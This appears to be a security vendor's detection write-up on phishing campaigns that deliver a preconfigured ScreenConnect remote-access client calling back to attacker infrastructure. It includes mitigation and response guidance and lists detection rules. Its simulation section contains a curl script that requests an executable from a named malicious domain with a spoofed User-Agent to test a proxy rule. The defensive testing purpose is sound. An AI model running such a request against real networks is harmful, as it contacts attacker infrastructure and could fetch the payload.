ScreenConnect Client Misused to Enable Unauthorized Remote Access
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
Attackers are using phishing emails to distribute a legitimate, preconfigured ScreenConnect client. The Remote Monitoring and Management (RMM) tool establishes a callback connection to an attacker-controlled instance, providing remote access to compromised systems. The campaign abuses the trusted nature of legitimate software to evade basic security controls and detection mechanisms.
Investigation
The investigator examined a phishing email containing a link that delivered a PE file. Analysis confirmed that the file was a legitimate, digitally signed ScreenConnect client. However, its embedded configuration had been modified to connect to a specific relay instance and instance ID controlled by the threat actor.
Mitigation
Browsers may block executable file downloads as an initial layer of protection. Organizations should monitor for unauthorized use of RMM tools and enforce strict controls on executables downloaded from untrusted web links. Application allowlisting can also help prevent unauthorized ScreenConnect clients and other unapproved RMM software from executing.
Response
When malicious activity is detected, isolate the affected endpoint to prevent continued remote access by the attacker. Identify and terminate any active ScreenConnect processes. Perform a forensic review of the client configuration to identify the attacker’s command-and-control infrastructure and determine the scope of unauthorized access to the compromised system.
Attack Flow
We are still updating this part.
Detections
Alternative Remote Access / Management Software (via process_creation)
Possible Command and Control Activity by Remote Access Software Domain Communication Attempt (via dns)
ScreenConnect Client Malware Distribution via Phishing Email [HTTP Proxy]
Simulation Execution
-
Attack Narrative & Commands: The adversary aims to establish persistence on a target workstation by distributing ScreenConnect via a phishing campaign. In this simulation, we replicate the final stage: the victim’s machine making an outbound HTTP request to a compromised/malicious domain to download the setup executable. To mimic the specific behavior identified in the threat intelligence, the “attacker” uses a custom User-Agent string
ScreenConnectwhile requesting the specific file paththelittlecupandsaucer.com.au/ScreenConnect.ClientSetup.exe. This will trigger the proxy-based detection rule. -
Regression Test Script:
# This script uses curl to mimic the malicious download request identified in the detection rule. # It uses the specific URL and the specific User-Agent required to trigger the alert. TARGET_URL="http://thelittlecupandsaucer.com.au/ScreenConnect.ClientSetup.exe" MALICIOUS_UA="ScreenConnect" echo "[*] Simulating ScreenConnect download attempt..." echo "[*] URL: $TARGET_URL" echo "[*] User-Agent: $MALICIOUS_UA" # We use -k to ignore SSL errors if the simulated domain uses a self-signed cert, # and -A to set the specific User-Agent. curl -k -A "$MALICIOUS_UA" "$TARGET_URL" -o /dev/null echo "[*] Simulation command sent." -
Cleanup Commands:
# No files were actually downloaded to the host in the simulation (redirected to /dev/null). # No system changes were made. echo "[*] Cleanup complete. No traces left on host."